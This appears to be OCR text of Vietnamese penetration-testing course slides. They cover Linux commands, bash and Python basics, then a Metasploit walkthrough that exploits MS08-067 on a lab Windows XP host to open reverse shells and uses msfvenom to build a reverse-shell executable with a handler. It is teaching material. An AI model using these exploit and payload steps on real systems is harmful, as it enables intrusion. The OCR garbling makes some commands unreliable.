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1. Céac Iénh trén Linux
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Cac Iénh co ban

man Tro giup

Is Liét ké ndi dung thu muc
cd Chuyén thu muc l1am viéc hién hanh
pwd Xem duodng dan thu muyc hién hanh
Tao thu muc
Xo0a file hodc thu muc
Copy file/thu muc

Di chuyén file/thu muc
Tao file
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User

useradd
Chmod
VI

grep
awk
Ifconfig
route
echo
netstat
crontab

Tao user

Gan quyeén cho file/thu muc
Trinh soan thao VI

Lénh tim kiém

Loc dir licu

Xem ip address

Xem bang dinh tuyén

network connections, listening ports
Lap lich
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2. Lap trinh trén Linux

Shell —Script
Python
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e V o

a. Gioi thiéu

Shell Script La 1 chuong trinh bao gom c&c chubi 1énh nham thuc hién mot
nhiém vu, chlrc nang nao do.
Cac loai shell thong dung trén Unix/Linux:

- sh (Shell Bourne):

- bash (Bourne Again Shell):

- Csh, tcsh va zsh:
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a) Gidi thieu (tt)

Cach viét shell script:

- DuNng 1énh vi/gedit dé viét shell

— Neén dung gedit dé viét shell vi nd thé hién mau sac dé kiém soét 16i

- Thuec thi script:
- G&n quyeén thuc thi cho script
#chmod a+x ten_script
 Thuec thi
#./ten script
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b) Cau trdc mdt chwong trinh shell script

#1/bin/bash S Loai shell mi script s€ chay

YT [Lénh
command .... '

command ...~ Thoat vakhéng c6 error

exit 0
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¢) Bién trong shell

Trong linux shell thi c6 2 kiéu bién:
- Bién hé thong (system variable): duoc tao bai Linux. Kiéu bién nay thuong dugc viét bang ky tu in hoa.
- Bién do nguoi dung dinh nghia.
CU phap: tén bién=gi4 tri
Mot s6 quy dinh vé bién trong shell :
(1) Tén bat dau bang ky tw hodc dau gach chdn ().
(2) Khéng dwoc cé khodng trang trude va sau dau bang khi gan gid tri cho bién
(3) Bién c6 phdn biét chit hoa chir thuong
(4) Ban co thé khai bdo mét bién c6 gia tri NULL nhu sau :

29

var01= hoac var0l =
(5) Khéng ding ?, * dé dt tén bién.
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c) Bién trong shell (tt)

o Pé truy xuat gia tri bién, dung cl phap sau: $tén bién

Vi du:

echo $n

n=10
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d) Cac Iénh trong shell script

Lénh echo: Xuat ndi dung ra man hinh
Vi du: vi bail.sh
c6 noi dung nhu sau:

#!/bin/sh

# chuong trinh xuat ra man hinh mot chuoi
echo “chao cac ban”

Chay chuong trinh:

#chmod a+x bail.sh

#./bail.sh
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d) Cac Iénh trong shell script (tt)

o Lénh read: doc mot s6 hay chudi tir ban phim

e Cau trac: read tham_sb
Vi du:

read a

(doc mét s6 hay chuoi tir ban phim va gan cho a)
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d) Cac Iénh trong shell script (tt)

Tinh toan trong Shell

- Su dung expr
cl phap expr opl phep_toan op2
Vi du

exprl+3
expr2-1
expr 10/ 2
expr 20 % 3
expr 10 \* 3
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d) Cac Iénh trong shell script (tt)

Tinh toan trong Shell (tt)
e Str dung let
Vidu:
et “z=%$z+3”
et CCZ +: 399

et “z=$m*$n”

o St dung $((...))
vidu:
z=$((z+3))
z=$(($m*$n))
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Chu y khi dung dau nhay

o “: (Nhay kép) tat ca cac ky tu déu khong co y nghia tinh toan trir / va $.
o ‘: (Nhay don) nhitng gi nam trong dau nhay don c0 y nghia khéng doi.

e " : (Nhay nguoc) thuc thi Iénh.
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d) Cac Iénh trong shell script (tt)

Diéu kién:

e Nhan 1 trong 2 gia tri ding hoac sali

o Sir dung trong c4c cau 1énh diéu khién (if, while, ..)
e Lénh test hoac []

Cau trdc: test dieu_kien hozc [dieu_kien]
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d) Cac Iénh trong shell script (tt)

Diéu kién (tt):

Kiém tra diéu kién trén tap tin
-d file true néu file 1a thu muc
-¢ file true néu file ton ta1 trén dia

-ffile frue néu file 1a tap tin thong thuong

-g file frue néu set-group-id duoc thiét 1ap trén file
- file true néu file cho phép doc

s file frue néu kich thudc file khdc 0

-u file frue néu set-ser-id dugc ap dat trén file

-w file true néu file cho phép ghi

X file true néu file duge phép thyc thi
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d) Cac Iénh trong shell script (tt)

biéu kién (tt):

§0 ith chui
50 sah Ket il

sringl=strng)  frienéu 2 chudi bing thau (chinh xac fmg ky )
trngl I=stringd ~~ frue neu20hu01 khong Jang nhau
Nstringl e 60 sting Khdngtong

2 §fring| e 60 sting 0ng (chudi ul)
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d) Cac Iénh trong shell script (tt)

Diéu kién (tt):

o CAc toan tir so sanh sd hoc
-eq : bang
-ge : Ién hon hoac bang
-gt : 16n hon

-le : nho hon hoic bang
-1t : nho hon
-ne : khac
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d) Cac Iénh trong shell script (tt)

Lénh If:
o Cau trdc:
If condition
then
statements
else

statements
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d) Cac Iénh trong shell script (tt)

Lénh for:

e Cau truc: | _
for variable in values

do
Statemens

done
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d) Cac Iénh trong shell script (tt)

Lé&nh while

e Cu phap:

while condition do

Statements
done

e Néu diéu kién dang thi s€ thuc hién vong lap
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d) Cac Iénh trong shell script (tt)

Lénh until
e CU phap:

until condition
do

Statemenits
done

Néu diéu kién dung thi sé thoat khoi vong lip
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e) Tham so6 1énh

e Tham so6 1énh: La tham so duoc truyén khi thuc hién script.

Vi du: ./bai2.sh phepcong 12 24

(MM

$1 82 33

o $1,$2, $3 ... : vi tri va ndi dung cua cac tham so trén dong 1énh theo thi tu tir trai
sang phai.

o $@, $*: danh sach tat ca cac tham so trén dong lénh.
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Thwe hanh

e Bai 1: Viét chuong trinh ping dén mot day ip vai so lugng goi ping 1gdi/l
host. D3y ip duoc nhap tir ban phim véi 3 octect dau.

Vi du:

root@kali:~/# ./pingscript.sh 192.168.20

64 bytes from 192.168.20.1: icmp_req=1 ttl=255 time=4.86 ms
64 bytes from 192.168.20.2: i1cmp_req=1 ttl-128 time=b68.4 ms
64 bytes from 192.168.20.8: 1cmp_req=1 ttl=64 time=43.1 ms
--snip--
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Lap trinh Python

#1/usr/bin/python

Import socket

Ip = raw_input("Enter the ip: ")
port = input("Enter the port: ")

s = socket.socket(socket. AF _INET, socket.SOCK_STREAM)

If s.connect_ex((ip, port)):
print "Port", port, "is closed"
else:

print "'Port", port, "is open"
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Lap trinh Python

root@kali:~/# ./pythonscript.py
Enter the ip: 192.168.20.10
Enter the port: 80

Port 80 is open
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3. St dung Metasploit

- msfconsole
- msfcli



http://cuuduongthancong.com?src=pdf
https://fb.com/tailieudientucntt

Metasploit

o Metasploit La framework thudc sé hiru cua cong ty bao mat Rapid7

o Metasploit dugc xay dung tir: Perl, sau do dugc viét lai bang Ruby

e Chtra cac ph'?m mém phuc vu cho viéc kiém thir xam nhap h¢ théng
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Str dung Metasploit

o Khoi dong PostgreSQL database: dung dé luu trix cac cong viée thuc hién
root@Kkali:~# service postgresql start

» Dé sir dung metasploit ta cO thé dung cac giao dién sau: msfconsole,
Msfcli,
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a. msfconsole

e root@kali:~# msfconsole

[ metasploit v4.16.28-dev ]
[ 1716 exploits - 985 auxiliary - 300 post ]
]
]

--=[ 507 payloads - 40 encoders - 10 nops
--=[ Free Metasploit Pro trial: http://r-7.co/trymsp
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Str dung Metasploit

ST > 7

Core Commands

Description

Help menu

Display an awesome metasploit banner
Change the current working directory
Toggle color
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Str dung Metasploit

o Lénh help dé xem tro gitip ctia mot 1énh
Vi du:

msf> help route
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Finding metasploit modules

e Microsoft Security Bulletin MS08-067

mst > search ms08-067
[!] Module database cache not built yet, using slow search
Matching Modules

Disclosure Date Rank Description

Server Service Relative Path Stack Corruption
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MS08 067

e Xem thong tin cua module

msf> info exploit /windows/smb/ms08 067 _netapi

e St dung module ms08 067

msf> use exploit /windows/smb/ms08 067 netapi

> use exploit/windows/smb/ms@8 067 netapil
exploit( ) =
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MS08 067

e Setting module options (show options)

msf exploit(

) > show options

Module options (exploit/windows/smb/ms©8 067 netapi):

Name Current Setting

RHOST
RPORT 445
SMBPIPE BROWSER

Exploit target:

Id Name

0 Automatic Targeting

Required

yes
yes

Description

The target address
The SMB service po
The pipe name to u
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MS08 067

set <option to set> <value to set it to>

e RHOST: refers to the remote host we want to exploit

set RHOST 192.168.20.10.

* RPORT: refers to the remote port to attack (default 445)

e SMBPIPE: SMB pipes allow us to talk to Windows interprocess

communication over a network (default: BROWSER)
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MS08 067

e Exploit Target: Choose Automatic Targeting to tell Metasploit to
fingerprint the SMB service and choose the appropriate target based on the

results

msf>show targets
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Payloads (or shellcode)

e A payload: doan code str dung trong exploit
 Khi mét payload thich hop duoc chon, metasploit s& sir dung mot code dé

khai thac diém yéu cua hé thong sau do6 sé dung payload nay dé chay sau

Khi xam nhap thanh cong.
o Xem cac payload
show payoads

msf exploit( ) = show payloads
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msf exploit(ms08_067 netapi) > exploit

[*] Started reverse handler on 192.168.20.9:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] Selected Target: Windows XP SP3 English (AlwaysOn NX)
] Attempting to trigger the vulnerability...

: f Sending stage (752128 bytes) to 192.168.20.10
[*] Meterpreter session 1 opened (192.168.20.9:4444 -> 192.168.20.10:1334) at

2015 08-31 07:37:05 -0400

meterpreter »

meterpreter > exit
*] Shutting down Meterpreter...

[*] Meterpreter session 1 closed. Reason: User exit
ms+ exploit(ms08_067 _netapi) >
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Cac loai shell

e Bind Shells: may muc tiéu (target machine) s€¢ mo mét command shell va
lang nghe trén 1 port. May cua Attacker s& két noi vai may muc tiéu thong
qua port do.

» Reverse Shells: May muc tiéu s& chu dong két ndi dén may Attacker.

May Attacker s& mé mot local port va doi két noi tir may muc tiéu
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setting a Payload manually

msf exploit(ms08 067 netapi) > set payload windows/shell reverse tcp

msf exploit(ms08 067 netapi) > show options
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//msf exploit(ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08 067 netapi):

Name Current Setting Required Description

RHOST 192.168.20.10 The target address
RPORT 445 yes S5et the 5MB serwvice port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/shell_reverse_tcp):

Name Current Setting Required Description

EXITFUNC thread Exit technique: seh, thread, process, none
@ LHOST yes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name

Automatic Targeting

CuubuongtrantongconT
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msf exploit(mso8_067_netapi) > exploit

(*] Started reverse handler on 192.168.20.9:4444 ©

*] Automatically detecting the target...

[*] Fingerprint: Windows XP - Service Pack 3 - lang:English

[ *] Selected Target: Windows XP SP3 English (AlwaysOn NX) @

[ *] Attempting to trigger the vulnerability...

[*] Command shell session 2 opened (192.168.20.9:4444 -> 192.168.20.10:1374)
at 2015-08-31 10:29:36 -0400

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>
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b. msfvemon

Msfvenom: bao gom Msfpayload va Msfencode.

Pugc str dung dé tao ra cac standalone payload
#msfvenom -l payloads
Str dung options:

—p dé chon 1 payload

--payload-options: xem cac options cua payload

#msfvenom -p windows/meterpreter/reverse tcp --payload-options
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msfvemon

» Xem dinh dang c0 thé xuat ra cua payload:

#msfvenom --help-formats

Tao payload thuc hién két ndi dén Server Attacker cé ip 192.168.20.9 véi

port 12345 va1 dinh dang .exe

#msfvenom -p  windows/meterpreter/reverse tcp LHOST=192.168.20.9
LPORT=12345 -f exe > chapter4example.exe
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Using the Multi/Handler Module

e Thiét 1ap handlers dé bat cac két ndi tir may muc tiéu Windows khi thuc

thi payload doc hai cua Attacker (chapterdexample.exe)
msf > use multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp

msf exploit(handler) > show options

msf exploit(handler) > set LHOST 192.168.20.9
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Using the Multi/Handler Module

LHOST => 192.168.20.9
msf exploit(handler) > set LPORT 12345
LPORT => 12345

msf exploit(handler) > exploit
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Auxiliary module

e auxiliary modules dugc st dung dé scanning, fuzzing, sniffing, ...
msf > use scanner/smb/pipe_auditor
msf auxiliary(pipe_auditor) > show options

msf auxiliary(pipe_auditor) > set RHOSTS 192.168.20.10
RHOSTS => 192.168.20.10

msf auxiliary(pipe_auditor) > exploeit

[*] 192.168.20.10 - Pipes: \browser ©
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(pipe_auditor) >
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